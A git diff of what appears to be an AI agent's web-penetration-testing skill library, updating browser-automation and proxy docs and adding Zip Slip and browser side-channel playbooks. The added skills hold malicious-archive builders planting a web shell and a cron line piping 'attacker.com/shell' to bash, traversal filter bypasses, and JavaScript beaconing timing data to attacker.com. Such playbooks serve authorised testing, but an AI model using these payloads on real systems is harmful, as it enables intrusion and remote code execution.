diff --git a/capabilities/web-security/capability.yaml b/capabilities/web-security/capability.yaml index f0d7149..5a69f1b 100644 --- a/capabilities/web-security/capability.yaml +++ b/capabilities/web-security/capability.yaml @@ -1,8 +1,8 @@ schema: 1 name: web-security -version: "1.0.3" +version: "1.1.0" description: > - Web application penetration testing with 30+ attack technique playbooks + Web application penetration testing with 60+ attack technique playbooks covering request smuggling, cache poisoning, SSRF, SSTI, DOM vulnerabilities, authentication bypasses, parser differentials, and client-side attacks. Includes HTTP client tooling, Caido proxy diff --git a/capabilities/web-security/skills/agent-browser/SKILL.md b/capabilities/web-security/skills/agent-browser/SKILL.md index 2df1353..d861608 100644 --- a/capabilities/web-security/skills/agent-browser/SKILL.md +++ b/capabilities/web-security/skills/agent-browser/SKILL.md @@ -53,62 +53,22 @@ agent-browser open https://example.com && agent-browser wait --load networkidle ## Handling Authentication -When automating a site that requires login, choose the approach that fits: +Choose the approach that fits. See [references/authentication.md](references/authentication.md) for full details including OAuth, 2FA, and token refresh. -**Option 1: Import auth from the user's browser (fastest for one-off tasks)** +| Approach | When | Command | +|---|---|---| +| Auth vault | Recurring tasks, password never exposed to LLM | `echo "$PW" \| agent-browser auth save myapp --url --username user --password-stdin` then `agent-browser auth login myapp` | +| Session name | Auto-save/restore cookies across restarts | `agent-browser --session-name myapp open ` | +| Persistent profile | Full browser profile reuse | `agent-browser --profile ~/.myapp open ` | +| Import from user browser | One-off tasks, user already logged in | `agent-browser --auto-connect state save ./auth.json` then `agent-browser --state ./auth.json open ` | +| State file | Manual save/load | `agent-browser state save auth.json` / `agent-browser state load auth.json` | -```bash -# Connect to the user's running Chrome (they're already logged in) -agent-browser --auto-connect state save ./auth.json -# Use that auth state -agent-browser --state ./auth.json open https://app.example.com/dashboard -``` - -State files contain session tokens in plaintext -- add to `.gitignore` and delete when no longer needed. Set `AGENT_BROWSER_ENCRYPTION_KEY` for encryption at rest. - -**Option 2: Persistent profile (simplest for recurring tasks)** - -```bash -# First run: login manually or via automation -agent-browser --profile ~/.myapp open https://app.example.com/login -# ... fill credentials, submit ... - -# All future runs: already authenticated -agent-browser --profile ~/.myapp open https://app.example.com/dashboard -``` - -**Option 3: Session name (auto-save/restore cookies + localStorage)** - -```bash -agent-browser --session-name myapp open https://app.example.com/login -# ... login flow ... -agent-browser close # State auto-saved - -# Next time: state auto-restored -agent-browser --session-name myapp open https://app.example.com/dashboard -``` - -**Option 4: Auth vault (credentials stored encrypted, login by name)** - -```bash -echo "$PASSWORD" | agent-browser auth save myapp --url https://app.example.com/login --username user --password-stdin -agent-browser auth login myapp -``` - -**Option 5: State file (manual save/load)** - -```bash -# After logging in: -agent-browser state save ./auth.json -# In a future session: -agent-browser state load ./auth.json -agent-browser open https://app.example.com/dashboard -``` - -See [references/authentication.md](references/authentication.md) for OAuth, 2FA, cookie-based auth, and token refresh patterns. +State files contain session tokens in plaintext -- add to `.gitignore` and set `AGENT_BROWSER_ENCRYPTION_KEY` for encryption at rest. ## Essential Commands +For the full command reference with all options, see [references/commands.md](references/commands.md). + ```bash # Navigation agent-browser open # Navigate (aliases: goto, navigate) @@ -116,140 +76,42 @@ agent-browser close # Close browser # Snapshot agent-browser snapshot -i # Interactive elements with refs (recommended) -agent-browser snapshot -i -C # Include cursor-interactive elements (divs with onclick, cursor:pointer) +agent-browser snapshot -i -C # Include cursor-interactive elements agent-browser snapshot -s "#selector" # Scope to CSS selector # Interaction (use @refs from snapshot) agent-browser click @e1 # Click element -agent-browser click @e1 --new-tab # Click and open in new tab agent-browser fill @e2 "text" # Clear and type text agent-browser type @e2 "text" # Type without clearing agent-browser select @e1 "option" # Select dropdown option agent-browser check @e1 # Check checkbox agent-browser press Enter # Press key -agent-browser keyboard type "text" # Type at current focus (no selector) -agent-browser keyboard inserttext "text" # Insert without key events agent-browser scroll down 500 # Scroll page -agent-browser scroll down 500 --selector "div.content" # Scroll within a specific container # Get information agent-browser get text @e1 # Get element text agent-browser get url # Get current URL -agent-browser get title # Get page title -agent-browser get cdp-url # Get CDP WebSocket URL # Wait agent-browser wait @e1 # Wait for element agent-browser wait --load networkidle # Wait for network idle agent-browser wait --url "**/page" # Wait for URL pattern -agent-browser wait 2000 # Wait milliseconds -agent-browser wait --text "Welcome" # Wait for text to appear (substring match) -agent-browser wait --fn "!document.body.innerText.includes('Loading...')" # Wait for text to disappear +agent-browser wait --text "Welcome" # Wait for text to appear agent-browser wait "#spinner" --state hidden # Wait for element to disappear -# Downloads -agent-browser download @e1 ./file.pdf # Click element to trigger download -agent-browser wait --download ./output.zip # Wait for any download to complete -agent-browser --download-path ./downloads open # Set default download directory - -# Viewport & Device Emulation -agent-browser set viewport 1920 1080 # Set viewport size (default: 1280x720) -agent-browser set viewport 1920 1080 2 # 2x retina (same CSS size, higher res screenshots) -agent-browser set device "iPhone 14" # Emulate device (viewport + user agent) - # Capture agent-browser screenshot # Screenshot to temp dir agent-browser screenshot --full # Full page screenshot -agent-browser screenshot --annotate # Annotated screenshot with numbered element labels -agent-browser screenshot --screenshot-dir ./shots # Save to custom directory -agent-browser screenshot --screenshot-format jpeg --screenshot-quality 80 +agent-browser screenshot --annotate # Annotated with numbered element labels agent-browser pdf output.pdf # Save as PDF -# Clipboard -agent-browser clipboard read # Read text from clipboard -agent-browser clipboard write "Hello, World!" # Write text to clipboard -agent-browser clipboard copy # Copy current selection -agent-browser clipboard paste # Paste from clipboard - # Diff (compare page states) -agent-browser diff snapshot # Compare current vs last snapshot -agent-browser diff snapshot --baseline before.txt # Compare current vs saved file +agent-browser diff snapshot # Compare current vs last snapshot agent-browser diff screenshot --baseline before.png # Visual pixel diff -agent-browser diff url # Compare two pages -agent-browser diff url --wait-until networkidle # Custom wait strategy -agent-browser diff url --selector "#main" # Scope to element ``` ## Common Patterns -### Form Submission - -```bash -agent-browser open https://example.com/signup -agent-browser snapshot -i -agent-browser fill @e1 "Jane Doe" -agent-browser fill @e2 "jane@example.com" -agent-browser select @e3 "California" -agent-browser check @e4 -agent-browser click @e5 -agent-browser wait --load networkidle -``` - -### Authentication with Auth Vault (Recommended) - -```bash -# Save credentials once (encrypted with AGENT_BROWSER_ENCRYPTION_KEY) -# Recommended: pipe password via stdin to avoid shell history exposure -echo "pass" | agent-browser auth save github --url https://github.com/login --username user --password-stdin - -# Login using saved profile (LLM never sees password) -agent-browser auth login github - -# List/show/delete profiles -agent-browser auth list -agent-browser auth show github -agent-browser auth delete github -``` - -### Authentication with State Persistence - -```bash -# Login once and save state -agent-browser open https://app.example.com/login -agent-browser snapshot -i -agent-browser fill @e1 "$USERNAME" -agent-browser fill @e2 "$PASSWORD" -agent-browser click @e3 -agent-browser wait --url "**/dashboard" -agent-browser state save auth.json - -# Reuse in future sessions -agent-browser state load auth.json -agent-browser open https://app.example.com/dashboard -``` - -### Session Persistence - -```bash -# Auto-save/restore cookies and localStorage across browser restarts -agent-browser --session-name myapp open https://app.example.com/login -# ... login flow ... -agent-browser close # State auto-saved to ~/.agent-browser/sessions/ - -# Next time, state is auto-loaded -agent-browser --session-name myapp open https://app.example.com/dashboard - -# Encrypt state at rest -export AGENT_BROWSER_ENCRYPTION_KEY=$(openssl rand -hex 32) -agent-browser --session-name secure open https://app.example.com - -# Manage saved states -agent-browser state list -agent-browser state show myapp-default.json -agent-browser state clear myapp -agent-browser state clean --older-than 7 -``` - ### Data Extraction ```bash @@ -289,39 +151,20 @@ agent-browser --cdp 9222 snapshot ### Color Scheme (Dark Mode) ```bash -# Persistent dark mode via flag (applies to all pages and new tabs) -agent-browser --color-scheme dark open https://example.com - -# Or via environment variable -AGENT_BROWSER_COLOR_SCHEME=dark agent-browser open https://example.com - -# Or set during session (persists for subsequent commands) -agent-browser set media dark +agent-browser --color-scheme dark open https://example.com # Flag +AGENT_BROWSER_COLOR_SCHEME=dark agent-browser open https://example.com # Env var +agent-browser set media dark # During session ``` ### Viewport & Responsive Testing ```bash -# Set a custom viewport size (default is 1280x720) -agent-browser set viewport 1920 1080 -agent-browser screenshot desktop.png - -# Test mobile-width layout -agent-browser set viewport 375 812 -agent-browser screenshot mobile.png - -# Retina/HiDPI: same CSS layout at 2x pixel density -# Screenshots stay at logical viewport size, but content renders at higher DPI -agent-browser set viewport 1920 1080 2 -agent-browser screenshot retina.png - -# Device emulation (sets viewport + user agent in one step) -agent-browser set device "iPhone 14" -agent-browser screenshot device.png +agent-browser set viewport 1920 1080 # Desktop +agent-browser set viewport 375 812 # Mobile +agent-browser set viewport 1920 1080 2 # Retina (3rd arg = devicePixelRatio) +agent-browser set device "iPhone 14" # Device emulation (viewport + UA) ``` -The `scale` parameter (3rd argument) sets `window.devicePixelRatio` without changing CSS layout. Use it when testing retina rendering or capturing higher-resolution screenshots. - ### Visual Browser (Debugging) ```bash @@ -347,28 +190,12 @@ agent-browser screenshot output.png ### iOS Simulator (Mobile Safari) ```bash -# List available iOS simulators -agent-browser device list - -# Launch Safari on a specific device agent-browser -p ios --device "iPhone 16 Pro" open https://example.com - -# Same workflow as desktop - snapshot, interact, re-snapshot -agent-browser -p ios snapshot -i -agent-browser -p ios tap @e1 # Tap (alias for click) -agent-browser -p ios fill @e2 "text" -agent-browser -p ios swipe up # Mobile-specific gesture - -# Take screenshot -agent-browser -p ios screenshot mobile.png - -# Close session (shuts down simulator) +agent-browser -p ios snapshot -i && agent-browser -p ios tap @e1 agent-browser -p ios close ``` -**Requirements:** macOS with Xcode, Appium (`npm install -g appium && appium driver install xcuitest`) - -**Real devices:** Works with physical iOS devices if pre-configured. Use `--device ""` where UDID is from `xcrun xctrace list devices`. +Requires macOS with Xcode and Appium (`npm install -g appium && appium driver install xcuitest`). Same workflow as desktop (snapshot, interact, re-snapshot). Use `--device ""` for physical devices. ## Security @@ -448,55 +275,30 @@ agent-browser diff url https://staging.example.com https://prod.example.com --sc ## Timeouts and Slow Pages -The default timeout is 25 seconds. This can be overridden with the `AGENT_BROWSER_DEFAULT_TIMEOUT` environment variable (value in milliseconds). For slow websites or large pages, use explicit waits instead of relying on the default timeout: +Default timeout is 25s (override with `AGENT_BROWSER_DEFAULT_TIMEOUT` in ms). For slow pages, use explicit waits after `open`: ```bash -# Wait for network activity to settle (best for slow pages) -agent-browser wait --load networkidle - -# Wait for a specific element to appear -agent-browser wait "#content" -agent-browser wait @e1 - -# Wait for a specific URL pattern (useful after redirects) -agent-browser wait --url "**/dashboard" - -# Wait for a JavaScript condition -agent-browser wait --fn "document.readyState === 'complete'" - -# Wait a fixed duration (milliseconds) as a last resort -agent-browser wait 5000 +agent-browser wait --load networkidle # Best for slow pages +agent-browser wait "#content" # Wait for specific element +agent-browser wait --url "**/dashboard" # Wait for URL pattern (after redirects) +agent-browser wait --fn "document.readyState === 'complete'" # JS condition +agent-browser wait 5000 # Fixed delay (last resort) ``` -When dealing with consistently slow websites, use `wait --load networkidle` after `open` to ensure the page is fully loaded before taking a snapshot. If a specific element is slow to render, wait for it directly with `wait ` or `wait @ref`. - ## Session Management and Cleanup -When running multiple agents or automations concurrently, always use named sessions to avoid conflicts: +Use named sessions for concurrent automations. Always close sessions when done to avoid leaked processes: ```bash -# Each agent gets its own isolated session agent-browser --session agent1 open site-a.com agent-browser --session agent2 open site-b.com - -# Check active sessions -agent-browser session list -``` - -Always close your browser session when done to avoid leaked processes: - -```bash -agent-browser close # Close default session -agent-browser --session agent1 close # Close specific session +agent-browser session list # Check active sessions +agent-browser --session agent1 close # Close specific session +agent-browser close # Close default session +AGENT_BROWSER_IDLE_TIMEOUT_MS=60000 agent-browser open example.com # Auto-shutdown after inactivity ``` -If a previous session was not closed properly, the daemon may still be running. Use `agent-browser close` to clean it up before starting new work. - -To auto-shutdown the daemon after a period of inactivity (useful for ephemeral/CI environments): - -```bash -AGENT_BROWSER_IDLE_TIMEOUT_MS=60000 agent-browser open example.com -``` +If a previous session was not closed properly, run `agent-browser close` to clean up the daemon. ## Ref Lifecycle (Important) @@ -546,14 +348,13 @@ agent-browser find testid "submit-btn" click ## JavaScript Evaluation (eval) -Use `eval` to run JavaScript in the browser context. **Shell quoting can corrupt complex expressions** -- use `--stdin` or `-b` to avoid issues. +Use `--stdin` with heredoc for anything beyond simple expressions (avoids shell quoting issues): ```bash -# Simple expressions work with regular quoting +# Simple expressions agent-browser eval 'document.title' -agent-browser eval 'document.querySelectorAll("img").length' -# Complex JS: use --stdin with heredoc (RECOMMENDED) +# Complex JS (recommended approach for nested quotes, arrow functions, multiline) agent-browser eval --stdin <<'EVALEOF' JSON.stringify( Array.from(document.querySelectorAll("img")) @@ -562,31 +363,13 @@ JSON.stringify( ) EVALEOF -# Alternative: base64 encoding (avoids all shell escaping issues) +# Programmatic/generated scripts: base64 encoding agent-browser eval -b "$(echo -n 'Array.from(document.querySelectorAll("a")).map(a => a.href)' | base64)" ``` -**Why this matters:** When the shell processes your command, inner double quotes, `!` characters (history expansion), backticks, and `$()` can all corrupt the JavaScript before it reaches agent-browser. The `--stdin` and `-b` flags bypass shell interpretation entirely. - -**Rules of thumb:** - -- Single-line, no nested quotes -> regular `eval 'expression'` with single quotes is fine -- Nested quotes, arrow functions, template literals, or multiline -> use `eval --stdin <<'EVALEOF'` -- Programmatic/generated scripts -> use `eval -b` with base64 - ## Configuration File -Create `agent-browser.json` in the project root for persistent settings: - -```json -{ - "headed": true, - "proxy": "http://localhost:8080", - "profile": "./browser-data" -} -``` - -Priority (lowest to highest): `~/.agent-browser/config.json` < `./agent-browser.json` < env vars < CLI flags. Use `--config ` or `AGENT_BROWSER_CONFIG` env var for a custom config file (exits with error if missing/invalid). All CLI options map to camelCase keys (e.g., `--executable-path` -> `"executablePath"`). Boolean flags accept `true`/`false` values (e.g., `--headed false` overrides config). Extensions from user and project configs are merged, not replaced. +Create `agent-browser.json` in the project root for persistent settings. All CLI options map to camelCase keys (e.g., `--executable-path` -> `"executablePath"`). Priority: `~/.agent-browser/config.json` < `./agent-browser.json` < env vars < CLI flags. ## Deep-Dive Documentation @@ -602,23 +385,8 @@ Priority (lowest to highest): `~/.agent-browser/config.json` < `./agent-browser. ## Browser Engine Selection -Use `--engine` to choose a local browser engine. The default is `chrome`. +Default engine is `chrome`. Use `--engine lightpanda` for 10x faster headless browsing (does not support `--extension`, `--profile`, `--state`, or `--allow-file-access`): ```bash -# Use Lightpanda (fast headless browser, requires separate install) agent-browser --engine lightpanda open example.com - -# Via environment variable -export AGENT_BROWSER_ENGINE=lightpanda -agent-browser open example.com - -# With custom binary path -agent-browser --engine lightpanda --executable-path /path/to/lightpanda open example.com ``` - -Supported engines: -- `chrome` (default) -- Chrome/Chromium via CDP -- `lightpanda` -- Lightpanda headless browser via CDP (10x faster, 10x less memory than Chrome) - -Lightpanda does not support `--extension`, `--profile`, `--state`, or `--allow-file-access`. Install Lightpanda from https://lightpanda.io/docs/open-source/installation. - diff --git a/capabilities/web-security/skills/archive-path-traversal/SKILL.md b/capabilities/web-security/skills/archive-path-traversal/SKILL.md new file mode 100644 index 0000000..1305556 --- /dev/null +++ b/capabilities/web-security/skills/archive-path-traversal/SKILL.md @@ -0,0 +1,113 @@ +--- +name: archive-path-traversal +description: "Zip Slip and archive extraction path traversal vulnerabilities. Use when target has file upload with archive extraction, plugin installers, backup restoration, or any feature that unpacks ZIP/TAR/JAR/WAR/APK archives." +--- + +# Archive Path Traversal (Zip Slip) + +When an application extracts archive entries using the entry name directly as the output path without canonicalization, an attacker-controlled entry name like `../../../etc/cron.d/pwn` writes outside the intended directory. + +## Vulnerable Code Patterns + +See [references/vulnerable-code.md](references/vulnerable-code.md) for patterns in Java, Python, Node.js, Go, Ruby, and .NET. + +The bug is always the same: `entry.getName()` flows into a file path constructor without validation that the resolved path stays inside the target directory. + +## Crafting Malicious Archives + +```python +import zipfile + +with zipfile.ZipFile('evil.zip', 'w') as z: + z.writestr('../../var/www/html/shell.php', '') + z.writestr('../../etc/cron.d/pwn', '* * * * * root curl attacker.com/shell | bash\n') + z.writestr('readme.txt', 'Totally normal archive') +``` + +```bash +# Using evilarc +python evilarc.py shell.php -p "var/www/html" -d 3 -o unix + +# TAR archives +tar cf evil.tar --transform='s,^,../../etc/cron.d/,' pwn +``` + +## Exploitation Targets + +| Target File | Impact | OS | +|-------------|--------|-----| +| `../../var/www/html/shell.php` | Web shell (RCE) | Linux | +| `../../etc/cron.d/pwn` | Cron job (RCE) | Linux | +| `../../root/.ssh/authorized_keys` | SSH access | Linux | +| `../../WEB-INF/classes/Evil.class` | Java class injection | Java | +| `../../inetpub/wwwroot/cmd.aspx` | Web shell (IIS) | Windows | +| `.env` or `../../.env` | Environment variable override | Any | + +Chain with **write-path-to-rce** for framework view/template resolution that turns file write into RCE. + +## Bypassing Path Traversal Filters + +| Technique | Entry Name | Bypasses | +|-----------|-----------|----------| +| Backslash (Windows) | `..\..\wwwroot\shell.aspx` | Unix-only `../` check | +| Encoded slash | `..%2f..%2fetc/passwd` | String-based filter on raw name | +| Double-encoded | `..%252f..%252f` | Single decode + filter + second decode | +| Absolute path | `/etc/cron.d/pwn` | Relative path check only | +| Mixed separators | `..\/..\/etc/passwd` | Strict `../` match | + +**Test order:** basic `../` first, then backslash, then encoded variants, then absolute paths. + +## Symlink Attacks + +Even if `../` in filenames is filtered, symlinks bypass path validation because the entry name itself is clean. + +### Two-Step Symlink Write + +```python +import tarfile, io + +with tarfile.open('evil.tar', 'w') as t: + # Step 1: symlink "uploads" -> /var/www/html (clean name) + sym = tarfile.TarInfo(name='uploads') + sym.type = tarfile.SYMTYPE + sym.linkname = '/var/www/html' + t.addfile(sym) + + # Step 2: write through symlink (still no ../ in name) + shell = tarfile.TarInfo(name='uploads/shell.php') + shell.size = len(payload) + t.addfile(shell, io.BytesIO(payload.encode())) +``` + +Extraction order matters: symlink created first, then file write follows the symlink. Path validation sees `uploads/shell.php` as inside dest_dir. + +## Detection in Source Code + +```bash +# Java +grep -rn "ZipEntry\|ZipInputStream\|JarEntry" --include="*.java" +# Python +grep -rn "zipfile\|tarfile\|extractall" --include="*.py" +# Node.js +grep -rn "adm-zip\|yauzl\|unzipper\|decompress" --include="*.js" --include="*.ts" +# Go +grep -rn "archive/zip\|archive/tar" --include="*.go" +# .NET +grep -rn "ZipArchive\|ZipFile" --include="*.cs" +# Then verify: is there path validation after entry name extraction? +``` + +## Testing Checklist + +1. Identify all archive upload/extraction features +2. Determine archive format accepted (ZIP, TAR, JAR, etc.) +3. Craft malicious archive with `../` entry names +4. Upload and check: does extraction create files outside dest dir? +5. If blocked: try alternate traversal (backslash, encoded, symlink) +6. If file write confirmed: identify highest-impact target file +7. Chain with **write-path-to-rce** for code execution + +## Related Skills + +- **write-path-to-rce** -- Escalate file write to RCE via framework resolution +- **custom-sanitizer-audit** -- If path sanitization exists but is bypassable diff --git a/capabilities/web-security/skills/archive-path-traversal/references/vulnerable-code.md b/capabilities/web-security/skills/archive-path-traversal/references/vulnerable-code.md new file mode 100644 index 0000000..4397fd3 --- /dev/null +++ b/capabilities/web-security/skills/archive-path-traversal/references/vulnerable-code.md @@ -0,0 +1,115 @@ +# Vulnerable Code Patterns by Language + +## Java (Most Common) + +```java +// VULNERABLE +ZipInputStream zis = new ZipInputStream(uploadedFile); +ZipEntry entry; +while ((entry = zis.getNextEntry()) != null) { + File outputFile = new File(destDir, entry.getName()); + outputFile.getParentFile().mkdirs(); + Files.copy(zis, outputFile.toPath()); + // entry.getName() = "../../etc/cron.d/pwn" -> writes to /etc/cron.d/pwn +} + +// SECURE +File outputFile = new File(destDir, entry.getName()).getCanonicalFile(); +if (!outputFile.toPath().startsWith(destDir.getCanonicalFile().toPath())) { + throw new SecurityException("Zip Slip: " + entry.getName()); +} +``` + +## Python + +```python +# VULNERABLE manual extraction (any Python version) +with zipfile.ZipFile(uploaded, 'r') as z: + for info in z.infolist(): + path = os.path.join(dest_dir, info.filename) + os.makedirs(os.path.dirname(path), exist_ok=True) + with open(path, 'wb') as f: + f.write(z.read(info.filename)) + +# NOTE: extractall() is SAFE since Python 3.12+ (CVE-2007-4559 fix) + +# SECURE +resolved = os.path.realpath(os.path.join(dest_dir, info.filename)) +if not resolved.startswith(os.path.realpath(dest_dir) + os.sep): + raise Exception("Zip Slip detected") +``` + +## Node.js + +```javascript +// VULNERABLE (using adm-zip, yauzl, unzipper, etc.) +const entries = zip.getEntries(); +entries.forEach(entry => { + const filePath = path.join(destDir, entry.entryName); + fs.writeFileSync(filePath, entry.getData()); +}); + +// SECURE +const resolved = path.resolve(path.join(destDir, entry.entryName)); +if (!resolved.startsWith(path.resolve(destDir) + path.sep)) { + throw new Error("Zip Slip: " + entry.entryName); +} +``` + +## Go + +```go +// VULNERABLE +for _, f := range r.File { + fpath := filepath.Join(destDir, f.Name) + os.MkdirAll(filepath.Dir(fpath), os.ModePerm) + outFile, _ := os.OpenFile(fpath, os.O_WRONLY|os.O_CREATE, f.Mode()) + rc, _ := f.Open() + io.Copy(outFile, rc) +} + +// SECURE +fpath := filepath.Join(destDir, f.Name) +if !strings.HasPrefix(filepath.Clean(fpath), filepath.Clean(destDir)+string(os.PathSeparator)) { + return fmt.Errorf("zip slip: %s", f.Name) +} +``` + +## Ruby + +```ruby +# VULNERABLE (using rubyzip) +Zip::File.open(uploaded) do |zip| + zip.each do |entry| + path = File.join(dest_dir, entry.name) + FileUtils.mkdir_p(File.dirname(path)) + entry.extract(path) + end +end + +# SECURE (rubyzip >= 1.3.0 has built-in protection) +# Verify: Zip.validate_entry_sizes = true (default since 1.3.0) +``` + +## .NET/C# + +```csharp +// VULNERABLE +using (ZipArchive archive = ZipFile.OpenRead(uploaded)) +{ + foreach (ZipArchiveEntry entry in archive.Entries) + { + string path = Path.Combine(destDir, entry.FullName); + entry.ExtractToFile(path, true); + } +} + +// SECURE +string destPath = Path.GetFullPath(Path.Combine(destDir, entry.FullName)); +if (!destPath.StartsWith(Path.GetFullPath(destDir) + Path.DirectorySeparatorChar)) +{ + throw new IOException("Zip Slip: " + entry.FullName); +} + +// NOTE: ZipFile.ExtractToDirectory() is SAFE (built-in check since .NET Core) +``` diff --git a/capabilities/web-security/skills/blind-ssrf-chains/SKILL.md b/capabilities/web-security/skills/blind-ssrf-chains/SKILL.md index 28599ed..0b612ff 100644 --- a/capabilities/web-security/skills/blind-ssrf-chains/SKILL.md +++ b/capabilities/web-security/skills/blind-ssrf-chains/SKILL.md @@ -24,6 +24,8 @@ Chain: `attacker -> SSRF -> internal service -> outbound request -> OOB callback Services that make outbound requests when hit via SSRF: Confluence, Jira, Jenkins, Solr, Weblogic, Hystrix Dashboard, W3 Total Cache. Hit them internally, they fetch your callback URL, confirming exploitation. +**Checkpoint:** Before attempting payloads, confirm blind SSRF with a canary: `?url=http://YOUR-OOB-SERVER/ssrf-test`. If no callback received, the SSRF may not be server-side. + ## Fingerprinting (Blind) | Signal | Technique | diff --git a/capabilities/web-security/skills/browser-side-channel/SKILL.md b/capabilities/web-security/skills/browser-side-channel/SKILL.md index 8e0ca3b..0ce1d49 100644 --- a/capabilities/web-security/skills/browser-side-channel/SKILL.md +++ b/capabilities/web-security/skills/browser-side-channel/SKILL.md @@ -13,69 +13,88 @@ description: Browser-based side channel attacks for cross-origin data leaks via ## Techniques ### XSS-Leak via Connection Pool Exhaustion (Chrome) -Exploit Chrome's per-process socket pool limit to leak cross-origin redirects: 1. **Saturate** Chrome's 256-connection pool (open 255 persistent connections) 2. **Trigger** a cross-origin navigation that may redirect based on state -3. **Measure** which host resolves next — Chrome resolves DNS in lexicographic order when pool is full +3. **Measure** which host resolves next -- DNS timing differs under pool exhaustion 4. **Binary search** the leaked hostname character by character -Prerequisites: Victim visits attacker page, target redirects to different hosts based on auth state. - -Test setup: ```javascript // Saturate pool with 255 WebSocket connections to different hosts for (let i = 0; i < 255; i++) { new WebSocket(`wss://pad-${i}.attacker.com/hold`); } -// Trigger cross-origin fetch — redirect destination leaks via timing -fetch('https://target.com/auth-redirect', {mode: 'no-cors'}); -// Measure: if redirect went to admin.target.com vs login.target.com -// the DNS resolution timing differs due to pool exhaustion ordering +// Trigger cross-origin fetch -- redirect destination leaks via timing +const start = performance.now(); +fetch('https://target.com/auth-redirect', {mode: 'no-cors'}).then(() => { + const elapsed = performance.now() - start; + // admin.target.com vs login.target.com have different DNS timing under pool exhaustion + navigator.sendBeacon('https://attacker.com/log', `elapsed=${elapsed}`); +}); ``` +**Checkpoint:** If timing variance between states is <5ms, increase sample count to 50+ and average. If WebSocket connections drop, server may be closing idle sockets -- send keepalive pings via `setInterval`. + ### Cross-Site ETag Length Oracle (Express.js) -Exploit Express's default 16KB header limit to create a boolean oracle: 1. **Observe**: Express auto-generates ETag headers for responses 2. **Trigger**: Browser caches ETag, sends it back as `If-None-Match` 3. **Overflow**: Pad the request to approach 16KB header limit -4. **Differentiate**: If ETag is long (large response) → 431 error. If short → 304 Not Modified. -5. **Leak**: Response size reveals content (e.g., admin panel vs 403) +4. **Differentiate**: Long ETag (large response) -> 431 error. Short -> 304 Not Modified. ```http GET /api/user/profile HTTP/1.1 If-None-Match: "cached-etag-value" X-Pad: AAAA...AAAA (pad to ~16KB minus ETag length threshold) ``` -- 431 = ETag + padding exceeded 16KB → response was large (user exists, has data) -- 304 = ETag matched, response was small → different state +- 431 = ETag + padding exceeded 16KB -> response was large (user exists, has data) +- 304 = ETag matched, response was small -> different state + +**Checkpoint:** Send without padding first to confirm normal 200/304 behavior. Then binary search padding length: if 431 at N bytes but not N-100, ETag is between (16384-N) and (16384-N+100) bytes. ### Timing-Based State Detection -Measure response time differences for cross-origin requests: -```javascript -const start = performance.now(); -const img = new Image(); -img.onload = img.onerror = () => { - const elapsed = performance.now() - start; - // Authenticated responses often larger/slower than 302 redirects - if (elapsed > THRESHOLD) { /* user is logged in */ } -}; -img.src = 'https://target.com/dashboard-asset'; + +```html + ``` +**Checkpoint:** Run against a known-state endpoint first to establish baseline. If stddev >30% of mean, network jitter is too high -- increase sample count or use HTTP/2 multiplexing. + ### Cache Probing -Detect if a user has visited a URL by measuring cache hit vs miss timing: -- Cached resource loads in ~1-2ms -- Network fetch takes 50ms+ -- Reveals browsing history for same-origin resources +Cached resource loads in ~1-2ms vs network fetch at 50ms+. Reveals browsing history for same-site resources. + +**Checkpoint:** Clear cache and re-measure to confirm delta is reproducible. Modern browsers partition cache by top-level site -- this only works for same-site resources. + +## Workflow -## Detection Checklist 1. Map target redirects that differ based on auth/role state 2. Identify response size differences between states (admin vs user vs anon) 3. Check if Express.js (ETag auto-generation) or similar framework in use -4. Test `performance.now()` timing resolution in target browser -5. Determine if attack requires user interaction or is fully passive - -## Key Insight -These attacks don't require XSS — they exploit browser resource management (sockets, cache, headers) as an oracle. The information leaks through metadata (timing, status codes, resource limits), not content. +4. Select technique based on available signal: + - Size difference -> ETag oracle + - Redirect difference -> connection pool exhaustion + - Timing difference -> timing-based detection +5. Run PoC with >=30 samples, calculate mean/stddev +6. If stddev > mean/3 -> increase samples or try different technique +7. Confirm cross-origin: PoC must work from attacker origin, not same-origin diff --git a/capabilities/web-security/skills/burp-suite/SKILL.md b/capabilities/web-security/skills/burp-suite/SKILL.md index 30d8426..3c82405 100644 --- a/capabilities/web-security/skills/burp-suite/SKILL.md +++ b/capabilities/web-security/skills/burp-suite/SKILL.md @@ -1,6 +1,6 @@ --- name: burp-suite -description: Burp Suite Professional MCP integration reference. Use when working with Burp proxy history, sending requests through Burp, using Repeater/Intruder, checking scanner issues, or performing OOB testing with Collaborator. +description: Queries Burp proxy history, sends requests via Repeater, configures Intruder attacks, retrieves scanner findings, and performs OOB testing with Collaborator. Use when working with Burp proxy history, sending requests through Burp, using Repeater/Intruder, checking scanner issues, or performing OOB testing with Collaborator. --- # Burp Suite MCP Tools @@ -25,7 +25,7 @@ send_http1_request( ) ``` -All requests appear in Burp's proxy history automatically. +All requests appear in Burp's proxy history automatically. **Verify:** After sending, confirm the request appears with `get_proxy_http_history(count=1, offset=0)`. ## Proxy History @@ -101,3 +101,9 @@ output_user_options() set_user_options(json) ``` Export config first to understand the schema before setting options. + +## Common Workflows + +1. **SSRF confirmation via Collaborator**: `generate_collaborator_payload` → inject URL into SSRF parameter via `send_http1_request` → `get_collaborator_interactions` to confirm callback +2. **IDOR testing via Repeater**: `create_repeater_tab` with request for resource A → modify ID to resource B → compare responses +3. **Scanner triage**: `get_scanner_issues(count=20, offset=0)` → review severity/confidence → replay high-confidence findings with `send_http1_request` to confirm diff --git a/capabilities/web-security/skills/caido-proxy/SKILL.md b/capabilities/web-security/skills/caido-proxy/SKILL.md new file mode 100644 index 0000000..95901b8 --- /dev/null +++ b/capabilities/web-security/skills/caido-proxy/SKILL.md @@ -0,0 +1,90 @@ +--- +name: caido-proxy +description: "Caido proxy integration for HTTP history search, request replay, fuzzing results, sitemap, and security findings via MCP. Use when you need to search proxy traffic, replay requests with modifications, triage fuzzing results, or document findings in Caido." +--- + +# Caido Proxy + +MCP integration with Caido proxy. Results load into context -- keep queries focused. + +## HTTPQL Quick Reference + +``` +req.host.eq:"example.com" # Exact host match +req.host.cont:"example" # Contains +req.path.cont:"/api/" # Path contains +req.method.eq:"POST" # Exact method +resp.code.eq:200 # Status code +resp.code.gte:400 # Greater than or equal + +# Combinators +req.host.eq:"a.com" AND req.method.eq:"POST" +NOT req.path.cont:"/health" + +# Security queries +req.header["authorization"].cont:"Bearer" +req.body.cont:"password" +resp.code.gte:500 +``` + +## MCP Tools + +### Search history +`mcp__caido__list_requests` -- search proxy history with HTTPQL +- `httpql`: filter string +- `limit`: max results (default 20, max 100) + +### Get request details +`mcp__caido__get_request` -- full request/response +- `ids`: request ID array +- `include`: `["requestHeaders", "requestBody", "responseHeaders", "responseBody"]` + +### Replay +`mcp__caido__send_request` -- send raw HTTP request +- `raw`: full HTTP 